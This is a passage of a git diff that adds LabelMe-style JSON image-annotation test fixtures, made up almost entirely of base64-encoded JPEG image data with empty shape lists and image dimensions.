8CqsakZJZm5Jx6fStYeG7a6t2j1O5kusEbmyRlc5APc++McUUUCZo6domk6YoS3sogQWYM67yCfQnoOK0T5k5IjIBVgBn6ZoopPcS2IyFRtz5Y9etZlx4gtZnaztGmluDxsiULjPT5mx/WiihFCz3mrwBLdnt7VyAQRmVzn6gKPXvWtBpFmhSWYPe3HXzbk7yDj+EH5V/ACiihgVdS1Gz04q00jiXOQiplmPHfpkZHORVJbW71ZEneFbSM8KHfcwGSDgKcZPqTRRQ0JGrDpkRTJUyvjmRmwTjjtitGOHagzx7CiikhjJfllWRB25PTIp83+rZh1AyPrRRQBB50ioAW556CpkGfb6UUUwHMCGAKghsfWhPKBPBwcEf0/lRRQhMlAIUZ+729acSduD0oopANCgAkDimlAWB/WiikwB1OWwemMULyOuPeiihDCNd2WDHg80gcsm9cZ6/MO3pxRRTEMEpZ8BQCevvUsJTdjbjAoooGTYHQU1u2fzoooQDk6lcY71J0BJAxRRTRLEPQ/SuYtHk1/WvtQYjT7J9sa5wXk9WHoOtFFMSOjzvQgHBA5NKuEGMk57UUUDF3qTjOT9Kap3MxzgCiikhCxOGJ45qX60UUwIwCxOCB74qJsoN23J9c8/8A6qKKAIWmBBZR1GCSSeaZsKBefU5HXg80UUmHUgPmJJuBVkY+mM59aldyylSu5TjGT04oooW4zkNDhZ9U1MqVLGbaAR6dBXSJcKg5YmX+5jgcDv8AhRRQxomWU3DbsYO0H2ApUlKsARlf5UUVLGZWpWv9mSvqtqAsLEGde2cgBgP5jHPXr10oSLuDOcswwe2TRRWcgRUks2RyFYY/2utFFFIZ/9k=", + "imageHeight": 375, + "imageWidth": 500 +} \ No newline at end of file diff --git a/tests/test_files/json/15.json b/tests/test_files/json/15.json new file mode 100644 index 0000000000000000000000000000000000000000..814fbccfc5586229eae0d28277013ce7f6e0cf17 --- /dev/null +++ b/tests/test_files/json/15.json @@ -0,0 +1,9 @@ +{ + "version": "5.0.1", + "flags": {}, + "shapes": [], + "imagePath": "15.jpg", + "imageData": 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